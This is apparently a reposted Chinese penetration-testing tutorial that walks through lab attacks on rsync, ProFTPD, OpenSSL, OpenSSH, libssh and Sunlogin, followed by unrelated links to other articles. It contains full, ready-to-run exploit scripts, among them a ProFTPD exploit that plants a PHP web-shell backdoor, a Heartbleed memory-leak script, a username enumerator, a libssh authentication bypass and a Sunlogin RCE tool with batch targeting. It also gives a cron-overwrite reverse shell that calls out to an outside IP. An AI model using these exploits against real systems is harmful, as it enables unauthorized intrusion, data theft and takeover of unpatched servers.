应用协议漏洞

应用协议漏洞

一、rsync

  • rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口
1.未授权访问
  • 打开靶场

    在这里插入图片描述

  • 判断漏洞是否存在

    rsync rsync://目标ip:端口
    

    在这里插入图片描述

  • 读取文件

    rsync rsync://47.99.49.128:873/src/tmp/
    

    在这里插入图片描述

  • 下载文件

    rsync rsync://47.99.49.128:873/src/etc/passwd ./
    

    在这里插入图片描述

  • 上传文件

    rsync -av passwd rsync://47.99.49.128:873/src/tmp/passwd
    

    在这里插入图片描述

  • 获取shell

    • 查看crontab中的内容,发现有一个每17分钟执行一次/etc/cron.hourly文件的定时任务

      rsync rsync://47.99.49.128:873/src/etc/crontab ./ 
      

      在这里插入图片描述

    • 发现每17分钟执行/etc/cron.hourly文件,我们创建一个反弹shell的文件覆盖该文件

      vim shell
      
      内容:
      bash -i >& /dev/tcp/120.46.39.24/8848 0>&1
      
      赋权:chmod +x shell 
      
      覆盖文件:
      rsync -av shell rsync://47.99.49.128:873/src/etc/cron.hourly
      

      在这里插入图片描述

      在这里插入图片描述

    • MSF批量验证

      use auxiliary/scanner/rsync/modules_list  进入rsync漏洞扫描模块
      show options    查看模块配置方法
      set rhosts file:/tmp/ip.txt    批量扫描,指定字典
      set threads 10    配置线程
      

      在这里插入图片描述

    • 【+】代表有漏洞,【*】没有

      在这里插入图片描述

二、ProFTPD

  • 一个Unix平台上或是类Unix平台上 (如Linux, FreeBSD等)的FTP服务器程序
1.RCE(cve-2015-3306)
  • https://github.com/t0kx/exploit-CVE-2015-3306

  • 打开靶场

    在这里插入图片描述

  • EXP

    #!/usr/bin/env python
    # CVE-2015-3306 exploit by t0kx
    # https://github.com/t0kx/exploit-CVE-2015-3306
    
    import re
    import socket
    import requests
    import argparse
    
    class Exploit:
        def __init__(self, host, port, path):
            self.__sock = None
            self.__host = host
            self.__port = port
            self.__path = path
    
        def __connect(self):
            self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.__sock.connect((self.__host, self.__port))
            self.__sock.recv(1024)
    
        def __exploit(self):
            payload = "<?php echo passthru($_GET['cmd']); ?>"
            self.__sock.send(b"site cpfr /proc/self/cmdline\n")
            self.__sock.recv(1024)
            self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
            self.__sock.recv(1024)
            self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
            self.__sock.recv(1024)
            self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))
    
            if "Copy successful" in str(self.__sock.recv(1024)):
                print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")
                print("[+] Running whoami: " + self.__trigger())
                print("[+] Done")
            else:
                print("[!] Failed")
    
        def __trigger(self):
            data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")
            match = re.search('cpto /tmp/.([^"]+)', data.text)
            return match.group(0)[11::].replace("\n", "")
    
        def run(self):
            self.__connect()
            self.__exploit()
    
    def main(args):
        print("[+] CVE-2015-3306 exploit by t0kx")
        print("[+] Exploiting " + args.host + ":" + args.port)
    
        exploit = Exploit(args.host, int(args.port), args.path)
        exploit.run()
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument('--host', required=True)
        parser.add_argument('--port', required=True)
        parser.add_argument('--path', required=True)
        args = parser.parse_args()
    
        main(args)
    
  • 执行exp

    python3 exploit.py --host 47.99.49.128 --port 56714 --path "/var/www/html"
    

    在这里插入图片描述

  • 执行命令

    :57867/backdoor.php?cmd=id
    

    在这里插入图片描述

三、SSH

  • OpenSSH 是SSH协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件
  • OpenSSL 是一个开源的软件库,使用包含了众多加解密算法,用于传输层安全性 (TLS) 和安全套接字层 (SSL) 协议的强大、商业级和功能齐全的工具包
  • libssh 是一个提供SSH相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS消息,绕过认证过程,未授权访问目标 SSH 服务器
1.心脏出血(CVE-2014-0160 版本很少)
  • 受影响版本

    OpenSSL 1.0.2-beta
    OpenSSL 1.0.1 - OpenSSL 1.0.1f
    
  • 打开靶场

    在这里插入图片描述

  • MSF进行验证

    search heartbleed   查找攻击模块
    use auxiliary/scanner/ssl/openssl_heartbleed    选择攻击模块
    show options     查看需要设置的参数
    set RHOST  设置对应的主机
    set RPORT   设置对应的端口
    set verbose true     设置verbose为true是为了 看到泄露的信息
    run    执行
    

    在这里插入图片描述

在这里插入图片描述

  • EXP获取敏感数据

    #!/usr/bin/python
    
    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
    # The author disclaims copyright to this source code.
    
    import sys
    import struct
    import socket
    import time
    import select
    import binascii
    import re
    from optparse import OptionParser
    
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    
    def h2bin(x):
        return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
    
    hello = h2bin('''
    16 03 02 00 dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01
    ''')
    
    hb = h2bin('''
    18 03 02 00 03
    01 40 00
    ''')
    
    def hexdump(s: bytes):
        for b in range(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            hxdat = ' '.join('%02X' % c for c in lin)
            pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
            print('  %04x: %-48s %s' % (b, hxdat, pdat))
    
        print("")
    
    def recvall(s, length, timeout=5):
        endtime = time.time() + timeout
        rdata = b''
        remain = length
        while remain > 0:
            rtime = endtime - time.time()
            if rtime < 0:
                return None
            r, w, e = select.select([s], [], [], 5)
            if s in r:
                data = s.recv(remain)
                # EOF?
                if not data:
                    return None
                rdata += data
                remain -= len(data)
        return rdata
    
    
    def recvmsg(s):
        hdr = recvall(s, 5)
        if hdr is None:
            print('Unexpected EOF receiving record header - server closed connection')
            return None, None, None
        typ, ver, ln = struct.unpack('>BHH', hdr)
        pay = recvall(s, ln, 10)
        if pay is None:
            print('Unexpected EOF receiving record payload - server closed connection')
            return None, None, None
        print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
        return typ, ver, pay
    
    def hit_hb(s):
        s.send(hb)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                print('No heartbeat response received, server likely not vulnerable')
                return False
    
            if typ == 24:
                print('Received heartbeat response:')
                hexdump(pay)
                if len(pay) > 3:
                    print('WARNING: server returned more data than it should - server is vulnerable!')
                else:
                    print('Server processed malformed heartbeat, but did not return any extra data.')
                return True
    
            if typ == 21:
                print('Received alert:')
                hexdump(pay)
                print('Server returned error, likely not vulnerable')
                return False
    
    def main():
        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print('Connecting...')
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print('Sending Client Hello...')
        sys.stdout.flush()
        s.send(hello)
        print('Waiting for Server Hello...')
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print('Server closed connection without sending Server Hello.')
                return
            # Look for server hello done message.
            if typ == 22 and pay[0] == 0x0E:
                break
    
        print('Sending heartbeat request...')
        sys.stdout.flush()
        s.send(hb)
        hit_hb(s)
    
    if __name__ == '__main__':
        main()
    

    在这里插入图片描述

2.用户枚举(CVE-2018-15473)
  • 影响版本:OpenSSH < 7.7

  • 打开靶场

    在这里插入图片描述

  • MSF进行验证

    use auxiliary/scanner/ssh/ssh_enumusers 
    

    在这里插入图片描述

  • 使用POC进行验证

    #!/usr/bin/env python
    ###########################################################################
    #                ____                    _____ _____ _    _               #
    #               / __ \                  / ____/ ____| |  | |              #
    #              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
    #              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
    #              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
    #               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
    #                     | |               Username Enumeration              #
    #                     |_|                                                 #
    #                                                                         #
    ###########################################################################
    # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473)          #
    # Vulnerability: CVE-2018-15473                                           #
    # Affected Versions: OpenSSH version < 7.7                                #
    # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT         #
    # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit            #
    # Email: Justin.Gardner@SynerComm.com                                     #
    # Date: August 20, 2018                                                   #
    ###########################################################################
    
    import argparse
    import logging
    import paramiko
    import multiprocessing
    import socket
    import string
    import sys
    import json
    from random import randint as rand
    from random import choice as choice
    # store function we will overwrite to malform the packet
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
    
    # list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
    # with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
    random_username_list = []
    # populate the list
    for i in range(3):
        user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
        random_username_list.append(user)
    
    # create custom exception
    class BadUsername(Exception):
        def __init__(self):
            pass
    
    # create malicious "add_boolean" function to malform packet
    def add_boolean(*args, **kwargs):
        pass
    
    # create function to call when username was invalid
    def call_error(*args, **kwargs):
        raise BadUsername()
    
    # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
    def malform_packet(*args, **kwargs):
        old_add_boolean = paramiko.message.Message.add_boolean
        paramiko.message.Message.add_boolean = add_boolean
        result  = old_parse_service_accept(*args, **kwargs)
        #return old add_boolean function so start_client will work again
        paramiko.message.Message.add_boolean = old_add_boolean
        return result
    
    # create function to perform authentication with malformed packet and desired username
    def checkUsername(username, tried=0):
        sock = socket.socket()
        sock.connect((args.hostname, args.port))
        # instantiate transport
        transport = paramiko.transport.Transport(sock)
        try:
            transport.start_client()
        except paramiko.ssh_exception.SSHException:
            # server was likely flooded, retry up to 3 times
            transport.close()
            if tried < 4:
                tried += 1
                return checkUsername(username, tried)
            else:
                print('[-] Failed to negotiate SSH transport')
        try:
            transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
        except BadUsername:
                return (username, False)
        except paramiko.ssh_exception.AuthenticationException:
                return (username, True)
        #Successful auth(?)
        raise Exception("There was an error. Is this the correct version of OpenSSH?")
    
    # function to test target system using the randomly generated usernames
    def checkVulnerable():
        vulnerable = True
        for user in random_username_list:
            result = checkUsername(user)
            if result[1]:
                vulnerable = False
        return vulnerable
    
    def exportJSON(results):
        data = {"Valid":[], "Invalid":[]}
        for result in results:
            if result[1] and result[0] not in data['Valid']:
                data['Valid'].append(result[0])
            elif not result[1] and result[0] not in data['Invalid']:
                data['Invalid'].append(result[0])
        return json.dumps(data)
    
    def exportCSV(results):
        final = "Username, Valid\n"
        for result in results:
            final += result[0]+", "+str(result[1])+"\n"
        return final
    
    def exportList(results):
        final = ""
        for result in results:
            if result[1]:
                final+="++++++" + result[0] + " is a valid user!\n"
            else:
                final+=result[0]+" is not a valid user!\n"
        return final
    
    # assign functions to respective handlers
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
    
    # get rid of paramiko logging
    logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
    
    arg_parser = argparse.ArgumentParser()
    arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
    arg_parser.add_argument('--port', type=int, default=22, help="The target port")
    arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
    arg_parser.add_argument('--outputFile', type=str, help="The output file location")
    arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
    group = arg_parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--username', type=str, help="The single username to validate")
    group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
    args = arg_parser.parse_args()
    
    def main():
        sock = socket.socket()
        try:
            sock.connect((args.hostname, args.port))
            sock.close()
        except socket.error:
            print('[-] Connecting to host failed. Please check the specified host and port.')
            sys.exit(1)
    
        # first we run the function to check if host is vulnerable to this CVE
        if not checkVulnerable():
            # most probably the target host is either patched or running a version not affected by this CVE
            print("Target host most probably is not vulnerable or already patched, exiting...")
            sys.exit(0)
        elif args.username: #single username passed in
            result = checkUsername(args.username)
            if result[1]:
                print(result[0]+" is a valid user!")
            else:
                print(result[0]+" is not a valid user!")
        elif args.userList: #username list passed in
            try:
                f = open(args.userList)
            except IOError:
                print("[-] File doesn't exist or is unreadable.")
                sys.exit(3)
            usernames = map(str.strip, f.readlines())
            f.close()
            # map usernames to their respective threads
            pool = multiprocessing.Pool(args.threads)
            results = pool.map(checkUsername, usernames)
            try:
                if args.outputFile:
                    outputFile = open(args.outputFile, "w")
            except IOError:
                print("[-] Cannot write to outputFile.")
                sys.exit(5)
            if args.outputFormat=='json':
                if args.outputFile:
                    outputFile.writelines(exportJSON(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
                else:
                    print(exportJSON(results))
            elif args.outputFormat=='csv':
                if args.outputFile:
                    outputFile.writelines(exportCSV(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
                else:
                    print(exportCSV(results))
            else:
                if args.outputFile:
                    outputFile.writelines(exportList(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in List form.")
                else:
                    print(exportList(results))
        else: # no usernames passed in
            print("[-] No usernames provided to check")
            sys.exit(4)
    
    if __name__ == '__main__':
        main()
    
3.命令注入(CVE-2020-15778 价值不高)
  • 漏洞版本:<= openssh-8.3p1
4.libssh身份验证绕过(CVE-2018-10933)
  • 影响版本

    libssh 0.6 及更高版本具有身份验证绕过漏洞。
    libssh 版本 0.8.4 和 libssh 0.7.6 已发布,以解决此问题。
    
  • 打开靶场

    在这里插入图片描述

  • EXP

    因其正常连接需要输入密码,使用 EXP 向服务器显示SSH2_MSG_USERAUTH_SUCCESS消息
    代替服务器等待的SSH2_MSG_USERAUTH_REQUEST消息,以达到无登录凭据认证

    #!/usr/bin/env python3
    import sys
    import paramiko
    import socket
    import logging
    
    logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
    bufsize = 2048
    
    
    def execute(hostname, port, command):
        sock = socket.socket()
        try:
            sock.connect((hostname, int(port)))
    
            message = paramiko.message.Message()
            transport = paramiko.transport.Transport(sock)
            transport.start_client()
    
            message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
            transport._send_message(message)
    
            client = transport.open_session(timeout=10)
            client.exec_command(command)
    
            # stdin = client.makefile("wb", bufsize)
            stdout = client.makefile("rb", bufsize)
            stderr = client.makefile_stderr("rb", bufsize)
    
            output = stdout.read()
            error = stderr.read()
    
            stdout.close()
            stderr.close()
    
            return (output+error).decode()
        except paramiko.SSHException as e:
            logging.exception(e)
            logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
        except socket.error:
            logging.debug("Unable to connect.")
    
        return None
    
    
    if __name__ == '__main__':
        print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
    

    在这里插入图片描述

四、向日葵

1.RCE(CNVD-2022-10207)
  • 漏洞安装包下载:https://download.csdn.net/download/weixin_46029520/88782063

  • 影响客户端版本:

    11.1.1
    10.3.0.27372
    11.0.0.33162
    
  • 发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000的端口号

  • EXP

    Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
    python exp.py -i 127.0.0.1 -p 20038 -c "net user" 
    python exp.py  -f targets.txt -c "whoami"
    
    from optparse import OptionParser
    import requests
    import json
    
    
    def title():
        print("""
            
    ╔═╗┬ ┬┌┐┌╦  ┌─┐┌─┐┬┌┐┌   ╦═╗┌─┐┌─┐
    ╚═╗│ ││││║  │ ││ ┬││││───╠╦╝│  ├┤   =.=
    ╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘   ╩╚═└─┘└─┘
    						    By:J2ekim
    						    向日葵v11.x RCE
            """)
    
    
    def gettoken(ip, port):
        print("http://" + ip + ":" + port)
        url = "http://" + ip + ":" + port + "/cgi-bin/rpc?action=verify-haras"
        try:
            res = json.loads(requests.get(url,verify=False, timeout=5).text)
            # print(res['verify_string'])
            return res['verify_string']
        except requests.exceptions.ConnectTimeout as _:
            print ("fail", "ConnectTimeout")
        except Exception as _:
            print ("fail", "Error")
    
    
    def RunCmd(ip, port, command,token):
        poc1 = "http://" + ip + ":" + port + "/check?cmd=ping../../../../../../windows/system32/" + command
        # poc1 = "http://" + ip + ":" + port + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+"+ cmd
        cookies = {"CID": token}
        # print(cookies)
        try:
            resu = requests.get(poc1, cookies=cookies, timeout=5,verify=False).text
            print(resu)
        except Exception as _:
            return ("fail", "Error_")
    
    
    def getshell(url,command):
        try:
            print(url)
            vul_url = url + "/cgi-bin/rpc?action=verify-haras"
            reps = json.loads(requests.get(vul_url, verify=False, timeout=5).text)
            verify_string = (reps['verify_string'])
            cookies = {"CID": verify_string}
            poc11 = url + "/check?cmd=ping../../../../../../windows/system32/" + command
            poc_reps = requests.get(poc11, cookies=cookies, timeout=5, verify=False).text
            print(poc_reps)
        except TimeoutError:
            print("timeout")
        except Exception:
            print("error")
    
    
    def batch_getshell(filename,command):
        with open(filename, mode="r", encoding="utf-8") as f:
            for url in f:
                if "http" not in url:
                    url = "http://" + url
                    getshell(url,command)
                else:
                    getshell(url, command)
    
    
    def main(host,port,command):
        try:
            token = gettoken(host, port)
            RunCmd(host, port, command, token)
    
        except requests.RequestException as e:
            print(e)
    
    
    if __name__ == '__main__':
        title()
        usage = ("""Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
                 python exp.py -i 127.0.0.1 -p 20038 -c "net user" 
                 python exp.py  -f targets.txt -c "whoami" """)
        parser = OptionParser(usage=usage)
        parser.add_option('-i', '--ip', dest='ip')
        parser.add_option('-p', '--port', dest='port')
        parser.add_option('-c', '--command', dest='command')
        parser.add_option('-f', '--file', dest='file')
        (option, args) = parser.parse_args()
        host = option.ip
        port = option.port
        command = option.command
        file = option.file
        if host is None and command is None and port is None :
            print(usage)
        elif file is not None:
            batch_getshell(file,command)
        else:
            main(host, port,command)
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/348019.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

访问者模式-C#实现

该实例基于WPF实现&#xff0c;直接上代码&#xff0c;下面为三层架构的代码。 一 Model using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace 设计模式练习.Model.访问者模式 {public class Com…

JRT的无源码发布

之前介绍过JRT最大的特点就是业务脚本化。老javaer就会说你业务代码都在发布环境放着&#xff0c;那怎么代码保密&#xff0c;在发布环境别人随便改了启不是不安全&#xff0c;或者一些代码我就是不想让人看源码呢。 其实JRT的业务脚本化只是特性&#xff0c;不是代表就必须要…

如何进行H.265视频播放器EasyPlayer.js的中性化设置?

H5无插件流媒体播放器EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器&#xff0c;可支持多种流媒体协议播放&#xff0c;可支持H.264与H.265编码格式&#xff0c;性能稳定、播放流畅&#xff0c;能支持WebSocket-FLV、HTTP-FLV&#xff0c;HLS&#xff08;m3u8&#…

C#用DateAndTime.DateDiff方法和TimeSpan分别计算时间间隔

目录 一、计算时间间隔的方法 1.用DateAndTime.DateDiff方法计算时间间隔 2.使用TimeSpan获取日期时间间隔 二、实例 1.示例一&#xff1a;用DateAndTime.DateDiff方法计算时间间隔 2.示例二&#xff1a;使用TimeSpan获取日期时间间隔 一、计算时间间隔的方法 1.用Date…

深入《羊了个羊》:从0到1的消除游戏开发

一、游戏简介 《羊了个羊》是一款备受欢迎的消除类游戏。玩家需要通过交换相邻的方块&#xff0c;使三个或更多相同方块连成一线&#xff0c;从而将它们消除。消除方块可以获得分数&#xff0c;并在全球排行榜上与其他玩家竞争。 设置项目结构 首先&#xff0c;在文本编辑器中…

【博客搭建记录贴】day4_Hexo基本操作,添加草稿并发布

目录 1.将项目导入到开发环境1.1 先把项目导入到IDEA中1.2 确认IDEA中服务器启动正常 2.Hexo基本操作: 添加草稿并发布2.1 生成一个草稿文件2.2 在页面上查看草稿3.3 将草稿正式发布 1.将项目导入到开发环境 我本地已经安装了 IntelliJ IDEA&#xff08;版本&#xff1a;社区版…

【modelsim使用】数据显示设置

本文介绍modelsim使用中数据的显示设置&#xff0c;定点小数的显示、模拟波形的显示、数据截位查看、信号颜色和行高设置的操作。 文章目录 定点小数显示模拟波形的显示选取信号的某几位组合查看信号颜色与行高设置 定点小数显示 使用modelsim进行仿真时&#xff0c;涉及到定点…

【GitHub项目推荐--一款美观的开源社区系统】【转载】

推荐一款开源社区系统&#xff0c;该系统基于主流的 Java Web 技术栈&#xff0c;如果你是一名 Java 新手掌握了基本 JavaEE 框架知识&#xff0c;可以拿本项目作为练手项目。 开源社区系统功能还算完善包含发布帖子、发布评论、私信、系统通知、点赞、关注、搜索、用户设置、…

【MySQL】内外连接

内外连接 一、内连接二、外连接1、左外连接2、右外连接 表的连接分为内连和外连。 一、内连接 内连接实际上就是利用where子句对两种表形成的笛卡儿积进行筛选。只不过为了让sql的可读性更好&#xff0c;我们使用其他的关键字进行内连接。 语法&#xff1a; SELECT ... FRO…

BGP路由协议通告原则

1仅将自己最优的路由发给BGP邻居 一般情况下,如果BGP Speaker学到去往同一网段的路由多于一条时,只会选择一条最优的路由给自己使用,即用来发布给邻居,同时上送给IP路由表。但是,由于路由器也会选择最优的路由给自己使用,所以BGP Speaker本身选择的最优的路由也不一定被…

简单模拟实现一个线程池

废话不多说之间上代码 import java.util.ArrayList; import java.util.List; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.BlockingQueue;public class MyThreadPoolExecutor {private List<Thread> listnew ArrayList<>();pri…

Linux 离线安装Docker(脚本自动安装)

文章目录 1. 准备docker离线包2. 准备docker.service 系统配置文件3. 准备安装脚本和卸载脚本4. 安装5、docker存储 前言 关于服务器不能联网的情况&#xff0c;这样就没法用yum安装软件&#xff0c;docker也是如此&#xff1b;或者由于CentOS系统采用Yum 安装过程中很慢&#…

SpringBootAdmin邮件通知

在上一篇中我们学习到了 Admin Service Clustering 分布式缓存配置 &#xff0c;这一篇我们来学习&#xff0c;客户端离线&#xff0c;出现故障的时候&#xff0c;我们这么能及时知道呢&#xff0c;发现邮件通知也许是最简单的方式了&#xff01; 邮件通知 邮件通知将作为使用…

​在 Linux ​中管理用户

在 Linux 系统中&#xff0c;用户是系统资源的主要使用者&#xff0c;每个用户都有一个唯一的标识符&#xff08;用户ID&#xff09;。为了更好地组织和管理用户&#xff0c;Linux 还引入了用户组的概念。用户组是用户的集合&#xff0c;有助于更有效地分配权限和资源。 用户是…

LabVIEW工业机器人系统

介绍了ABB工业机器人与LabVIEW之间进行数据交互的解决方案。通过使用TCP/IP协议的socket通信&#xff0c;实现了机器人坐标数据的读取&#xff0c;为人机交互提供了一个更便捷、更高效的新思路。 系统主要由ABB工业机器人、基于TCP/IP协议的通信接口和LabVIEW软件组成。工业机…

Excel:将截面数据转换成面板数据

原始截面数据如下&#xff1a; 步骤&#xff1a;数据——自表格/区域 点击确定&#xff0c;出现下图&#xff1a; 然后&#xff0c;在这个界面选择&#xff1a;“转换”——“逆透视列”下选择逆透视其他列。会出现面板数据形式。 然后&#xff0c;点击“主页”——关闭并上载即…

day16打卡

day16打卡 104. 二叉树的最大深度 递归法时间复杂度&#xff1a;O(N)&#xff0c;空间复杂度&#xff1a;O(N) class Solution { public:int maxDepth(TreeNode* root) {if(root nullptr) return 0;return 1 max(maxDepth(root->left), maxDepth(root->right));} };…

Android Settings 显示电池点亮百分比

如题&#xff0c;Android 原生 Settings 里有个 电池电量百分比 的选项&#xff0c;打开后电池电量百分比会显示在状态栏。 基于 Android 13 &#xff0c; 代码在 ./packages/apps/Settings/src/com/android/settings/display/BatteryPercentagePreferenceController.java &am…

springboot125汽车资讯网站

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的125汽车资讯网站 适用于计算机类毕业设计&#xff0c;课程设计参考与学习用途。仅供学习参考&#xff0c; 不得用于商业或者非法用途&#xff0c;否则&#xff0c;一切后果请用户自负。 看运行截图看 第五章 第四章 获…

[AIGC 大数据基础] 浅谈hdfs

HDFS介绍 什么是HDFS&#xff1f; HDFS&#xff08;Hadoop Distributed File System&#xff09;是Apache Hadoop生态系统的一部分&#xff0c;是一个分布式文件系统。它被设计用于存储和处理大规模数据集&#xff0c;并且能够容错、高可靠和高性能地处理文件。 HDFS是为了支…